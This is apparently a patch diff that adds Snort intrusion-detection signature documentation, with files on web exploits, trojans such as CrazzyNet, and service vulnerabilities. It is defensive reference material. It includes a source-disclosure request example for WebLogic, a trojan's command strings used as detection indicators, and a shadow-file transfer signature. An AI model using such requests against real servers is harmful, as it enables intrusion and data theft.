+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000442.txt
+++ snort-2.8.5.2/doc/signatures/100000442.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000442
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MiraksGalerie" application running on a webserver. Access to the file "pcltar.lib.php" using a remote file being passed as the "g_pcltar_lib_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "g_pcltar_lib_dir" parameter in the "pcltar.lib.php" script used by the "MiraksGalerie" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MiraksGalerie
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000519.txt
+++ snort-2.8.5.2/doc/signatures/100000519.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000519
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VUBB" application running on a webserver. Access to the 
+file "index.php" with SQL commands being passed as the "user" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "user" parameter in the "index.php" script used by the 
+"VUBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VUBB
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2267.txt
+++ snort-2.8.5.2/doc/signatures/2267.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2267
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/369.txt
+++ snort-2.8.5.2/doc/signatures/369.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+369
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a BayRS Router.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a BayRS router contains a unique payload in the message request.  
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+
+Original rule written by Doug@Minderhout.com  
+Modified by Brian Caswell <bmc@sourcefire.com>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.whitehats.com/info/IDS444
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1015.txt
+++ snort-2.8.5.2/doc/signatures/1015.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1015
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/160.txt
+++ snort-2.8.5.2/doc/signatures/160.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+159
+
+--
+Summary:
+This event is generated when incoming an data stream associated with the NetMetro Trojan Horse is detected.
+
+--
+Impact:
+Limited control of the target host.
+
+--
+Detailed Information:
+Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+The server portion opens TCP port 5031 by default to establish a connection between client and server. This event indicates that a host external to the protected network running a NetMetro Trojan Server is communicating with a host on the protected network that may be controlling the Trojan.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named NMS.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+A reboot of the infected machine is recommended. The Trojan does not start automatically at boot time nor does it change any system registry settings.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS79
+
+Dark-e:
+http://www.dark-e.com/archive/trojans/NetMetro/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000176.txt
+++ snort-2.8.5.2/doc/signatures/100000176.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000176
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the lpd service for HP-UX.
+
+-- 
+Impact: 
+Denial of Service (DoS). Possible code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the lpd service for HP-UX systems. An unauthenticated 
+attacker may issue a DoS attack on the victim lpd by sending malformed data to 
+the lpd service and attempting to overflow a fixed length buffer. It may also 
+be possible for an attacker to execute code of their choosing in the context of 
+the user running lpd.
+
+--
+Affected Systems:
+HP-UX 10.20
+HP-UX B11.10 and B11.11
+
+--
+Attack Scenarios: 
+An attacker can supply a malformed request to the lpd service on the victim 
+host that may leave the service unresponsive.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2519.txt
+++ snort-2.8.5.2/doc/signatures/2519.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2519
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of the Private
+Communications Transport (PCT) protocol.
+
+--
+Impact:
+Execution of arbitrary code. Unauthorized administrative access to an
+affected host.
+
+--
+Detailed Information:
+A vulnerability exists in the handling of PCT requests that
+can be manipulated to give an attacker the opportunity to execute
+arbitrary code of their choosing leading to a possible remote
+administrative compromize of an affected host.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003 and XP systems using PCT
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted PCT request to an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the use of PCT
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3064.txt
+++ snort-2.8.5.2/doc/signatures/3064.txt
@@ -0,0 +1,158 @@
+Rule: 
+
+--
+Sid: 
+3064
+
+-- 
+Summary: 
+This event is generated when an attempt is made by the victim to send a
+connection confirmation to the attacker using the CrazzyNet trojan.
+
+-- 
+Impact: 
+If connected, the attacker could remotetly execute a multitude of functions
+resulting in a full compromise of the victim's machine.
+
+--
+Detailed Information:
+CrazzyNet uses port 17499. CrazzyNet has a number of functions. Each function is
+associated with an attack signal string
+that is sent to the victim. Be suspicious of the following strings:
+
+Format: Function Name - String To Look For
+
+Add Line To File - addlin
+Overwrite File With Added Line - ovwlin
+Add Icon To Desktop - addico
+Beep Sound - sndbep
+Change Windows Control Text - chgawc
+Change Resolution - chgres
+Chat - chatwy
+Get Clipboard Text - clpget
+Crazy Mouse On - crazym;1
+Crazy Mouse Off - crazym;0
+Delete File/Directory - delete
+Remove Windows Functions - remwma;0
+Download File - getfil
+Disable Ctl-Alt-Del - discad;0
+Enable Ctl-Alt-Del - discad;1
+Disable Windows Startup - wndsas;0
+Enable Windows Startup - wndsas;1
+Find Files - findfi
+Format - format
+Get Colors - getcol
+Get Computer Name - getcon
+Set Computer Name - setcon
+Get Date - gettad
+Set Date - settad
+Get Internet Explorer Start Page - geties
+Set Internet Explorer Start Page - chgies
+Get Mouse Position - getpos
+Set Mouse Position - setmse
+Get Clients Connected - geticc
+Get Computer Information - getinf
+Hide Picture - hidpic
+List Installed Programs - asplst
+Keylogger - keylog;1
+Kill Mouse - kilmse
+List Files And Directories - nextdr
+List ICQ - icqlst
+List Of Apps - lstapp
+Make Directory - makdir
+Monitor On - onmoni
+Monitor Off - ofmoni
+Get Mouse Double Click Time - getdcl
+Set Mouse Double Click Time - setdcl
+Open CD - opencd
+Close CD - closcd
+Ping - *ICMP Packet* Echo this string of data
+Play Sound - playsd
+Print Text - printt
+Refresh File Listing - refdir
+Run File - runfil
+Screen Dump - screen
+Get Screensaver - getfon
+Set Screensaver - setscr
+Enable Scrolling Text - scroll
+Disable Scrolling Text - sscrol
+Send To URL - senurl
+Send Key - runkey
+Send Message - msgbox
+Set Clipboard Text - clpset
+Set Desktop Image - chgdes
+Show Clock - sclock;1
+Hide Clock - sclock;0
+Show Desktop Icons - deskic;1
+Hide Desktop Icons - deskic;0
+Show Start Bar - startb;1
+Hide Start Bar - startb;0
+Show Task Bar - sotask
+Hide Task Bar - hitask
+Show Task Bar Icons - staskb;1
+Hide Task Bar Icons - staskb;0
+Show Picture - shopic
+Start CD loop - cdloop;1
+Stop CD loop - cdloop;0
+Steal Passwords - geticp
+Swap Mouse Buttons On - swpmse;1
+Swap Mouse Buttons Off - swpmse;0
+Terminate Application - terapp
+Get Text Box Cursor Blink Rate - getret
+Set Text Box Cursor Blink Rate - setret
+Upload File - uplfil
+Change Volume - volume
+Warp On - warpon
+Warp Off - warpof
+List Windows - wndlst
+
+-
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because
+they often can be backdoors in disguise. 
+Once the victim has unknowingly installed the server, the attacker will usually
+employ an IP scanner tool to find vulnerable 
+systems. Once an IP is found, the attacker simply has to make the connection.
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has
+installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action:
+CrazzyNet copies itself to C:\WINDOWS\Registry32.exe
+Delete the registry key Reg32=Registry32.exe found in
+HKCUU\Software\Microsoft\Windows\CurrentVersion\Run 
+Delete Registry32.exe from Win.ini and System.ini
+If found, delete Registry32.exe and server.exe
+Make sure to keep your virus definitions updated on your anti-virus software.
+
+--
+Contributors:
+Original Rule Writer: Ricky Macatee <rmacatee@sourcefire.com> 
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+Pestpatrol:
+http://www.pestpatrol.com/PestInfo/C/CrazzyNet.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3404.txt
+++ snort-2.8.5.2/doc/signatures/3404.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3404
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1543.txt
+++ snort-2.8.5.2/doc/signatures/1543.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1543
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1928.txt
+++ snort-2.8.5.2/doc/signatures/1928.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid: 
+1928
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic 
+is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp 
+server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of
+spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or 
+it could be an attempt to compromise the FTP server by overflowing a 
+buffer in the FTP daemon or service.
+
+In this case, the rule will generate an event due to the attempted
+transfer of a shadow file. This file is generally used on muli-user
+systems to provide greater security for user passwords. This file should
+only be readable by the super user.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party 
+using FTP. Retrieval of the shadow file may allow a user to crack the
+encryption scheme used and gain unauthorized access to the host.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected 
+network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1396.txt
+++ snort-2.8.5.2/doc/signatures/1396.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1396
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2139.txt
+++ snort-2.8.5.2/doc/signatures/2139.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 2139
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerabliity in BEA Systems WebLogic server. 
+
+--
+Impact:
+Information gathering, source code disclosure.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a vulnerabliity in BEA Systems WebLogic server.
+
+A weakness in the configuration of the WebLogic server from BEA Systems allows an attacker to view the source code of .jsp and .jhtml pages that reside in the root directory of the webserver. A request for these documents prefixed with /*.shtml/ will exploit a vulnerability in the handling of Server Side Include Servlet (SSIServlet) such that the webserver will return the documents unparsed, rendering the source code viewable.
+
+--
+Affected Systems:
+BEA Systems WebLogic Enterprise 5.1 and 5.1.x
+
+--
+Attack Scenarios:
+An attacker can retrieve the source code of a .jsp file by making a web request in the form: http://www.foo.com/*.shtml/target.jsp.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1373.txt
+++ snort-2.8.5.2/doc/signatures/1373.txt
@@ -0,0 +1,48 @@
+Rule:
+
+--
+Sid:
+1373
+
+--
+Summary:
+Attempted httpd configuration access via web
+
+--
+Impact:
+Attempt to gain information on system processes on webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the configuration of a webserver. The httpd.conf file lists the configuration of the webserver including modules loaded on start and access authorization files. The attacker could possibly gain information needed for other attacks on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'conf/httpd.conf'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Making the file read only by the superuser on the system will disallow viewing of the file by other users.
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1662.txt
+++ snort-2.8.5.2/doc/signatures/1662.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+1662
+--
+Summary:
+This event is generated when an attempt is made to access the home directory of the ftp user via http.
+
+--
+Impact:
+Medium - Possible unauthorized file access due a configuration error
+
+--
+Detailed Information:
+The FTP server might block access on ftp homedir to (anonymous) users, 
+but the folder can be read using the webserver.
+
+Apache UserDir module allows sharing home directory (sub-)folders, a 
+misconfiguration of the webserver or ftp user account may allow 
+unauthorized access to the ftp user directory.
+
+--
+Attack Scenarios:
+A FTP server blocks access to the ftp users homedir. A misconfiguration might allow an attacker to access the ftp users home directory.
+
+This home folder might contain critical files.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Visit http://httpd.apache.org/docs for UserDir configuration options or 
+remove UserDir module if not needed.
+
+Configure the ftp user to use a non-interactive nologin shell that does 
+not require a home directory.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1416.txt
+++ snort-2.8.5.2/doc/signatures/1416.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+1416
+
+--
+
+Summary:
+This event is generated when an SNMP-Trap connection over UDP to a 
+broadcast address is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+The SNMP (Simple Network Management Protocol) Trap daemon usually 
+listens on port 162, tcp or udp.
+
+An attacker may attempt to send this request to determine if any devices
+are using SNMP.
+
+--
+
+Affected Systems:
+Devices running SNMP Trap daemons on well known ports.
+
+--
+
+Attack Scenarios:
+An attacker sends a packet directed to udp port 162, if sucessful a 
+reply is generated and the attacker may then launch further attacks 
+against the SNMP daemon on the responding IP addresses.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Use a packet filtering firewall to protect devices using the SNMP 
+protocol and only allow connections from well-known hosts.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000135.txt
+++ snort-2.8.5.2/doc/signatures/100000135.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000135
+
+-- 
+Summary: 
+This event is generated when an attempt to exploit a format string attack 
+against the GNU Mailutils imap4d server.
+
+-- 
+
+Impact: 
+A denial of service will occur, and it may be possible to execute arbitrary 
+code with the privileges of the user running the imap server.
+
+--
+Detailed Information:
+The vulnerability is triggered when the request tag contains format string 
+characters. This will cause the server to read and/or write at invalid memory 
+locations, potentially allowing an attacker to execute arbitrary code.
+
+--
+Affected Systems:
+GNU Mailutils 0.5
+GNU Mailutils 0.6
+
+--
+
+Attack Scenarios: 
+Publicly available scripts exist to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, exploit scripts exist.
+
+-- 
+
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Upgrade to version 0.6.90 or higher.
+
+--
+Contributors: 
+Judy Novak <judy.novak@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3062.txt
+++ snort-2.8.5.2/doc/signatures/3062.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+3062
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+delhomepage.cgi script which contains known vulnerabilities and
+is resident on Netscreen SA 5000 devices.
+
+--
+Impact:
+Information gathering and possible cross site scripting attack.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the
+delhomepage.cgi script which is known to be vulnerable to a cross site
+scripting attack
+
+--
+Affected Systems:
+	Netscreen SA 5000
+
+--
+Attack Scenarios:
+An attacker can supply code of their choosing to a client system by
+using the cgi script as part of a cross site scripting attack.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000830.txt
+++ snort-2.8.5.2/doc/signatures/100000830.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000830
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "HiveMail" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "dayprune" parameter in the "index.php" script used by the "HiveMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using HiveMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
